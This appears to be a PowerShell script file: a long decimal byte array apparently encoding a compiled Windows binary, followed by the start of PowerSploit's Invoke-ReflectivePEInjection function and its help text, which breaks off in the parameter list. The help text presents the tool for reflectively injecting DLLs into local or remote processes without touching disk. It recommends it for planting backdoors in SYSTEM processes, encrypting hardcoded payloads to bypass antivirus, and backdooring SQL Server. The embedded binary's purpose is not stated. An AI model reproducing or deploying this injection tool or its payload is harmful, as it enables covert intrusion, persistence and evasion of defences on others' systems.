50,64,115,116,100,64,64,81,65,69,88,88,90,0,0,156,3,63,102,108,117,115,104,64,63,36,98,97,115,105,99,95,111,115,116,114,101,97,109,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,65,69,65,65,86,49,50,64,88,90,0,0,6,63,116,105,101,64,63,36,98,97,115,105,99,95,105,111,115,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,66,69,80,65,86,63,36,98,97,115,105,99,95,111,115,116,114,101,97,109,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,50,64,88,90,0,0,252,3,63,103,111,111,100,64,105,111,115,95,98,97,115,101,64,115,116,100,64,64,81,66,69,95,78,88,90,0,94,2,63,95,79,115,102,120,64,63,36,98,97,115,105,99,95,111,115,116,114,101,97,109,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,65,69,88,88,90,0,0,24,6,63,117,110,99,97,117,103,104,116,95,101,120,99,101,112,116,105,111,110,64,115,116,100,64,64,89,65,95,78,88,90,0,151,2,63,95,88,108,101,110,103,116,104,95,101,114,114,111,114,64,115,116,100,64,64,89,65,88,80,66,68,64,90,0,153,2,63,95,88,111,117,116,95,111,102,95,114,97,110,103,101,64,115,116,100,64,64,89,65,88,80,66,68,64,90,0,77,83,86,67,80,49,48,48,68,46,100,108,108,0,172,0,63,63,51,64,89,65,88,80,65,88,65,66,85,95,68,101,98,117,103,72,101,97,112,84,97,103,95,116,64,115,116,100,64,64,80,65,68,72,64,90,0,0,169,0,63,63,50,64,89,65,80,65,88,73,65,66,85,95,68,101,98,117,103,72,101,97,112,84,97,103,95,116,64,115,116,100,64,64,80,65,68,72,64,90,0,0,166,1,63,95,68,101,98,117,103,72,101,97,112,84,97,103,95,102,117,110,99,64,115,116,100,64,64,89,65,65,66,85,95,68,101,98,117,103,72,101,97,112,84,97,103,95,116,64,49,64,88,90,0,0,248,3,95,109,107,100,105,114,0,0,92,1,95,95,67,120,120,70,114,97,109,101,72,97,110,100,108,101,114,51,0,0,91,3,95,108,111,99,107,95,102,105,108,101,0,0,201,4,95,117,110,108,111,99,107,95,102,105,108,101,0,0,215,5,102,119,114,105,116,101,0,0,17,6,109,101,109,99,112,121,95,115,0,0,96,6,117,110,103,101,116,99,0,0,187,5,102,103,101,116,99,0,188,5,102,103,101,116,112,111,115,0,143,2,95,102,115,101,101,107,105,54,52,0,211,5,102,115,101,116,112,111,115,0,44,6,115,101,116,118,98,117,102,0,186,5,102,102,108,117,115,104,0,0,101,0,63,63,51,64,89,65,88,80,65,88,64,90,0,0,183,5,102,99,108,111,115,101,0,0,238,2,95,105,110,118,97,108,105,100,95,112,97,114,97,109,101,116,101,114,0,0,38,1,95,67,114,116,68,98,103,82,101,112,111,114,116,87,0,0,21,0,63,63,48,98,97,100,95,99,97,115,116,64,115,116,100,64,64,81,65,69,64,80,66,68,64,90,0,0,65,1,95,67,120,120,84,104,114,111,119,69,120,99,101,112,116,105,111,110,0,0,89,0,63,63,49,98,97,100,95,99,97,115,116,64,115,116,100,64,64,85,65,69,64,88,90,0,20,0,63,63,48,98,97,100,95,99,97,115,116,64,115,116,100,64,64,81,65,69,64,65,66,86,48,49,64,64,90,0,36,0,63,63,48,101,120,99,101,112,116,105,111,110,64,115,116,100,64,64,81,65,69,64,65,66,86,48,49,64,64,90,0,0,65,6,115,116,114,108,101,110,0,0,198,5,102,112,117,116,99,0,16,6,109,101,109,99,112,121,0,0,20,6,109,101,109,115,101,116,0,0,18,6,109,101,109,109,111,118,101,0,204,5,102,114,101,101,0,0,99,0,63,63,50,64,89,65,80,65,88,73,64,90,0,0,34,0,63,63,48,101,120,99,101,112,116,105,111,110,64,115,116,100,64,64,81,65,69,64,65,66,81,66,68,64,90,0,15,1,63,119,104,97,116,64,101,120,99,101,112,116,105,111,110,64,115,116,100,64,64,85,66,69,80,66,68,88,90,0,93,0,63,63,49,101,120,99,101,112,116,105,111,110,64,115,116,100,64,64,85,65,69,64,88,90,0,0,77,83,86,67,82,49,48,48,68,46,100,108,108,0,33,1,95,67,82,84,95,82,84,67,95,73,78,73,84,87,0,0,108,3,95,109,97,108,108,111,99,95,100,98,103,0,135,2,95,102,114,101,101,95,100,98,103,0,76,2,95,101,110,99,111,100,101,100,95,110,117,108,108,0,55,1,95,67,114,116,83,101,116,67,104,101,99,107,67,111,117,110,116,0,233,2,95,105,110,105,116,116,101,114,109,0,234,2,95,105,110,105,116,116,101,114,109,95,101,0,242,1,95,97,109,115,103,95,101,120,105,116,0,0,83,1,95,95,67,112,112,88,99,112,116,70,105,108,116,101,114,0,200,4,95,117,110,108,111,99,107,0,125,1,95,95,100,108,108,111,110,101,120,105,116,0,90,3,95,108,111,99,107,0,2,4,95,111,110,101,120,105,116,0,45,2,95,99,114,116,95,100,101,98,117,103,103,101,114,95,104,111,111,107,0,0,4,1,63,116,101,114,109,105,110,97,116,101,64,64,89,65,88,88,90,0,239,0,63,95,116,121,112,101,95,105,110,102,111,95,100,116,111,114,95,105,110,116,101,114,110,97,108,95,109,101,116,104,111,100,64,116,121,112,101,95,105,110,102,111,64,64,81,65,69,88,88,90,0,0,117,1,95,95,99,108,101,97,110,95,116,121,112,101,95,105,110,102,111,95,110,97,109,101,115,95,105,110,116,101,114,110,97,108,0,0,84,2,95,101,120,99,101,112,116,95,104,97,110,100,108,101,114,52,95,99,111,109,109,111,110,0,95,5,95,119,109,97,107,101,112,97,116,104,95,115,0,0,117,6,119,99,115,99,112,121,95,115,0,0,129,5,95,119,115,112,108,105,116,112,97,116,104,95,115,0,234,0,69,110,99,111,100,101,80,111,105,110,116,101,114,0,202,0,68,101,99,111,100,101,80,111,105,110,116,101,114,0,236,2,73,110,116,101,114,108,111,99,107,101,100,69,120,99,104,97,110,103,101,0,178,4,83,108,101,101,112,0,233,2,73,110,116,101,114,108,111,99,107,101,100,67,111,109,112,97,114,101,69,120,99,104,97,110,103,101,0,0,17,5,87,105,100,101,67,104,97,114,84,111,77,117,108,116,105,66,121,116,101,0,0,3,73,115,68,101,98,117,103,103,101,114,80,114,101,115,101,110,116,0,103,3,77,117,108,116,105,66,121,116,101,84,111,87,105,100,101,67,104,97,114,0,177,3,82,97,105,115,101,69,120,99,101,112,116,105,111,110,0,0,77,5,108,115,116,114,108,101,110,65,0,0,69,2,71,101,116,80,114,111,99,65,100,100,114,101,115,115,0,0,63,3,76,111,97,100,76,105,98,114,97,114,121,87,0,0,192,4,84,101,114,109,105,110,97,116,101,80,114,111,99,101,115,115,0,0,192,1,71,101,116,67,117,114,114,101,110,116,80,114,111,99,101,115,115,0,211,4,85,110,104,97,110,100,108,101,100,69,120,99,101,112,116,105,111,110,70,105,108,116,101,114,0,0,165,4,83,101,116,85,110,104,97,110,100,108,101,100,69,120,99,101,112,116,105,111,110,70,105,108,116,101,114,0,167,3,81,117,101,114,121,80,101,114,102,111,114,109,97,110,99,101,67,111,117,110,116,101,114,0,147,2,71,101,116,84,105,99,107,67,111,117,110,116,0,0,197,1,71,101,116,67,117,114,114,101,110,116,84,104,114,101,97,100,73,100,0,0,193,1,71,101,116,67,117,114,114,101,110,116,80,114,111,99,101,115,115,73,100,0,121,2,71,101,116,83,121,115,116,101,109,84,105,109,101,65,115,70,105,108,101,84,105,109,101,0,207,2,72,101,97,112,70,114,101,101,0,0,203,2,72,101,97,112,65,108,108,111,99,0,74,2,71,101,116,80,114,111,99,101,115,115,72,101,97,112,0,0,20,2,71,101,116,77,111,100,117,108,101,70,105,108,101,78,97,109,101,87,0,0,241,4,86,105,114,116,117,97,108,81,117,101,114,121,0,0,24,2,71,101,116,77,111,100,117,108,101,72,97,110,100,108,101,87,0,0,98,1,70,114,101,101,76,105,98,114,97,114,121,0,75,69,82,78,69,76,51,50,46,100,108,108,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,24,0,0,0,24,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,2,0,0,0,48,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,9,4,0,0,72,0,0,0,112,81,2,0,150,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,239,187,191,60,63,120,109,108,32,118,101,114,115,105,111,110,61,34,49,46,48,34,32,101,110,99,111,100,105,110,103,61,34,85,84,70,45,56,34,32,115,116,97,110,100,97,108,111,110,101,61,34,121,101,115,34,63,62,13,10,60,97,115,115,101,109,98,108,121,32,120,109,108,110,115,61,34,117,114,110,58,115,99,104,101,109,97,115,45,109,105,99,114,111,115,111,102,116,45,99,111,109,58,97,115,109,46,118,49,34,32,109,97,110,105,102,101,115,116,86,101,114,115,105,111,110,61,34,49,46,48,34,62,13,10,32,32,60,116,114,117,115,116,73,110,102,111,32,120,109,108,110,115,61,34,117,114,110,58,115,99,104,101,109,97,115,45,109,105,99,114,111,115,111,102,116,45,99,111,109,58,97,115,109,46,118,51,34,62,13,10,32,32,32,32,60,115,101,99,117,114,105,116,121,62,13,10,32,32,32,32,32,32,60,114,101,113,117,101,115,116,101,100,80,114,105,118,105,108,101,103,101,115,62,13,10,32,32,32,32,32,32,32,32,60,114,101,113,117,101,115,116,101,100,69,120,101,99,117,116,105,111,110,76,101,118,101,108,32,108,101,118,101,108,61,34,97,115,73,110,118,111,107,101,114,34,32,117,105,65,99,99,101,115,115,61,34,102,97,108,115,101,34,62,60,47,114,101,113,117,101,115,116,101,100,69,120,101,99,117,116,105,111,110,76,101,118,101,108,62,13,10,32,32,32,32,32,32,60,47,114,101,113,117,101,115,116,101,100,80,114,105,118,105,108,101,103,101,115,62,13,10,32,32,32,32,60,47,115,101,99,117,114,105,116,121,62,13,10,32,32,60,47,116,114,117,115,116,73,110,102,111,62,13,10,60,47,97,115,115,101,109,98,108,121,62,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,1,0,48,0,0,0,206,59,212,59,231,59,247,59,38,60,76,60,88,60,216,60,22,61,63,61,103,61,117,61,168,61,200,61,86,62,127,62,162,62,201,62,118,63,152,63,0,32,1,0,96,0,0,0,39,48,102,48,143,48,167,48,228,48,119,49,231,49,38,50,79,50,174,50,196,50,216,50,252,50,59,52,60,53,211,54,16,55,28,55,40,55,52,55,64,55,218,56,244,56,8,57,71,57,133,57,41,58,26,59,48,59,68,59,90,59,218,59,0,60,12,60,102,60,143,60,172,60,194,60,214,60,236,60,146,61,117,62,91,63,0,0,0,48,1,0,80,0,0,0,60,48,190,48,248,48,4,49,16,49,28,49,40,49,52,49,186,50,45,51,78,51,97,51,161,51,200,51,212,51,182,52,229,52,6,53,25,53,103,53,140,53,152,53,122,54,113,55,22,60,63,60,89,60,112,60,230,60,15,61,59,61,114,61,140,62,48,63,138,63,163,63,0,64,1,0,108,0,0,0,6,48,47,48,93,49,97,50,121,51,180,51,192,51,204,51,10,53,56,53,170,53,219,53,74,54,102,54,126,54,171,54,200,55,205,55,211,55,226,55,241,55,250,55,2,56,29,56,34,56,39,56,45,56,6,57,47,57,38,58,78,58,141,58,201,58,7,59,143,59,239,59,17,60,52,60,182,60,221,60,88,61,122,61,157,61,29,62,63,62,82,62,115,62,162,62,208,62,220,62,0,80,1,0,112,0,0,0,38,48,77,48,102,48,121,48,132,48,138,48,204,48,226,48,238,48,250,48,22,49,39,49,81,49,104,49,152,49,164,49,176,49,102,52,143,52,171,52,211,52,228,52,20,53,32,53,102,53,143,53,195,53,8,54,25,54,76,54,88,54,133,55,138,55,144,55,132,56,71,57,246,57,123,58,237,58,54,59,95,59,230,59,15,60,166,60,207,60,230,62,15,63,41,63,160,63,208,63,220,63,0,0,0,96,1,0,72,0,0,0,134,48,175,48,223,48,35,49,52,49,100,49,112,49,71,50,118,50,159,50,214,50,249,50,25,51,42,51,70,51,214,51,255,51,29,52,56,52,24,53,232,53,14,56,48,56,214,56,248,56,182,60,188,60,14,62,118,62,124,62,70,63,112,63,0,112,1,0,200,0,0,0,109,48,129,48,131,50,19,52,142,52,158,52,8,53,19,53,29,54,158,54,174,54,246,54,31,55,70,57,109,57,168,57,174,57,193,57,209,57,23,58,72,58,84,58,168,58,174,58,180,58,186,58,192,58,198,58,204,58,210,58,216,58,222,58,228,58,234,58,240,58,246,58,252,58,2,59,8,59,14,59,20,59,26,59,32,59,38,59,44,59,50,59,56,59,62,59,68,59,74,59,80,59,86,59,92,59,98,59,104,59,110,59,116,59,122,59,128,59,134,59,140,59,146,59,152,59,168,59,183,59,201,59,211,59,223,59,252,59,39,60,184,60,199,60,222,60,235,60,243,60,1,61,31,61,123,61,225,61,252,61,2,62,8,62,14,62,20,62,26,62,32,62,38,62,44,62,50,62,56,62,62,62,68,62,74,62,80,62,86,62,0,0,0,128,1,0,32,1,0,0,98,48,117,48,186,48,194,48,238,48,34,49,184,49,190,49,196,49,202,49,208,49,214,49,220,49,226,49,232,49,238,49,244,49,250,49,0,50,6,50,12,50,18,50,24,50,30,50,36,50,42,50,48,50,54,50,60,50,66,50,72,50,78,50,84,50,90,50,96,50,102,50,124,50,137,50,153,50,158,50,164,50,170,50,202,50,215,50,32,51,40,51,48,51,103,51,109,51,146,51,154,51,175,51,184,51,189,51,213,51,218,51,232,51,249,51,255,51,5,52,13,52,41,52,49,52,57,52,65,52,116,52,122,52,159,52,167,52,191,52,198,52,217,52,224,52,48,53,79,53,88,53,101,53,108,53,117,53,124,53,184,53,193,53,198,53,203,53,208,53,214,53,231,53,237,53,24,55,29,55,47,55,87,55,106,55,139,55,160,55,12,56,31,56,83,56,104,56,180,56,88,57,93,57,111,57,131,57,138,57,157,57,188,57,195,57,203,57,210,57,231,57,253,57,2,58,12,58,17,58,192,58,199,58,226,58,44,59,123,59,194,59,230,59,33,60,107,60,139,60,176,60,225,60,9,61,200,61,205,61,223,61,30,62,120,62,125,62,143,62,224,62,76,63,87,63,162,63,220,63,0,144,1,0,8,1,0,0,16,48,21,48,140,48,152,48,180,48,186,48,199,48,206,48,211,48,238,48,244,48,253,48,6,49,11,49,22,49,54,49,63,49,72,49,85,49,99,49,146,49,60,50,67,50,156,50,167,50,226,50,28,51,80,51,85,51,224,51,3,52,10,52,41,52,47,52,53,52,89,52,95,52,101,52,129,52,145,52,152,52,172,52,178,52,184,52,190,52,196,52,202,52,209,52,216,52,223,52,230,52,237,52,244,52,251,52,3,53,11,53,19,53,31,53,40,53,45,53,51,53,61,53,71,53,83,53,95,53,100,53,118,53,123,53,129,53,135,53,159,53,166,53,8,54,13,54,31,54,232,54,237,54,255,54,230,55,4,56,11,56,30,56,52,56,59,56,78,56,98,56,104,56,110,56,116,56,168,57,173,57,191,57,216,57,248,58,254,58,4,59,40,59,51,59,64,59,72,59,87,59,108,59,120,59,132,59,148,59,221,59,232,59,42,60,70,60,75,60,102,60,108,60,114,60,167,60,196,60,32,61,41,61,54,61,64,61,72,61,77,61,84,61,165,61,115,62,122,62,252,62,3,63,252,63,0,160,1,0,136,0,0,0,7,48,32,48,53,48,59,48,65,48,71,48,44,49,55,49,61,49,89,49,94,49,129,49,143,49,168,49,190,49,243,49,18,50,119,50,125,50,140,50,149,50,158,50,167,50,177,50,197,50,92,51,181,51,207,51,88,52,94,52,100,52,106,52,112,52,118,52,124,52,130,52,136,52,142,52,148,52,154,52,160,52,166,52,172,52,178,52,184,52,190,52,196,52,202,52,208,52,214,52,220,52,226,52,232,52,238,52,244,52,250,52,0,53,6,53,12,53,18,53,24,53,30,53,36,53,42,53,0,176,1,0,84,0,0,0,64,51,86,51,118,51,170,51,202,51,231,51,7,52,138,52,14,53,55,53,87,53,144,53,26,54,93,54,141,54,167,54,199,54,231,54,7,55,39,55,71,55,125,55,173,55,221,55,247,55,23,56,55,56,87,56,141,56,189,56,229,56,41,57,96,57,131,57,145,57,171,57,213,57,235,57,0,192,1,0,12,0,0,0,38,58,0,0,0,208,1,0,12,0,0,0,70,58,0,0,0,240,1,0,60,0,0,0,4,49,16,52,188,54,192,54,216,54,220,54,224,54,228,54,232,54,236,54,240,54,244,54,248,54,252,54,0,55,4,55,8,55,12,55,16,55,20,55,20,59,24,59,28,59,164,60,168,60,0,0,0,0,2,0,176,0,0,0,20,48,24,48,28,48,32,48,36,48,40,48,168,52,172,52,176,52,180,52,184,52,192,52,196,52,108,57,112,57,132,57,140,57,144,57,148,57,152,57,156,57,168,57,192,57,204,57,228,57,252,57,4,58,8,58,12,58,16,58,24,58,48,58,72,58,80,58,84,58,88,58,96,58,120,58,132,58,156,58,180,58,188,58,192,58,200,58,224,58,248,58,0,59,8,59,32,59,44,59,68,59,80,59,104,59,128,59,132,59,152,59,160,59,164,59,172,59,196,59,208,59,232,59,0,60,8,60,28,60,32,60,52,60,60,60,64,60,72,60,96,60,108,60,132,60,156,60,164,60,184,60,188,60,208,60,216,60,224,60,248,60,32,63,36,63,0,0,0,16,2,0,208,0,0,0,52,50,56,50,76,52,84,52,96,52,136,52,148,52,184,52,196,52,236,52,12,53,20,53,28,53,36,53,44,53,64,53,96,53,104,53,112,53,120,53,128,53,136,53,152,53,164,53,200,53,212,53,252,53,28,54,36,54,44,54,52,54,60,54,76,54,88,54,132,54,152,54,160,54,188,54,196,54,232,54,240,54,252,54,8,55,44,55,48,55,60,55,80,55,92,55,112,55,124,55,136,55,172,55,184,55,220,55,232,55,12,56,24,56,60,56,72,56,108,56,120,56,156,56,168,56,204,56,216,56,252,56,8,57,52,57,68,57,112,57,120,57,156,57,176,57,200,57,208,57,220,57,224,57,236,57,0,58,12,58,24,58,60,58,72,58,108,58,120,58,156,58,168,58,224,58,232,58,236,58,16,59,44,59,48,59,76,59,80,59,112,59,140,59,144,59,172,59,176,59,0,32,2,0,32,0,0,0,0,48,72,48,144,48,208,48,240,48,20,49,92,49,164,49,196,49,232,49,20,50,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)
3
+ function Invoke-ReflectivePEInjection
4
+ {
5
+ <#
6
+ .SYNOPSIS
7
+
8
+ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
9
+ or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
10
+ please lead the Notes section (GENERAL NOTES) for information on how to use them.
11
+
12
+
13
+ 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
14
+ Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
15
+
16
+ This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
17
+ this will load and execute the DLL/EXE in to memory without writing any files to disk.
18
+
19
+
20
+ 2.) Reflectively load a DLL in to memory of a remote process.
21
+ As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
22
+
23
+ This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
24
+ from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
25
+ remote process.
26
+
27
+
28
+ While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
29
+ containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
30
+ bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
31
+ blog linked below (thanks to whitey).
32
+
33
+ PowerSploit Function: Invoke-ReflectivePEInjection
34
+ Author: Joe Bialek, Twitter: @JosephBialek
35
+ License: BSD 3-Clause
36
+ Required Dependencies: None
37
+ Optional Dependencies: None
38
+ Version: 1.4
39
+
40
+ .DESCRIPTION
41
+
42
+ Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
43
+
44
+ .PARAMETER PEPath
45
+
46
+ The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
47
+
48
+ .PARAMETER PEUrl
49
+
50
+ A URL containing a DLL/EXE to load and execute.
51
+
52
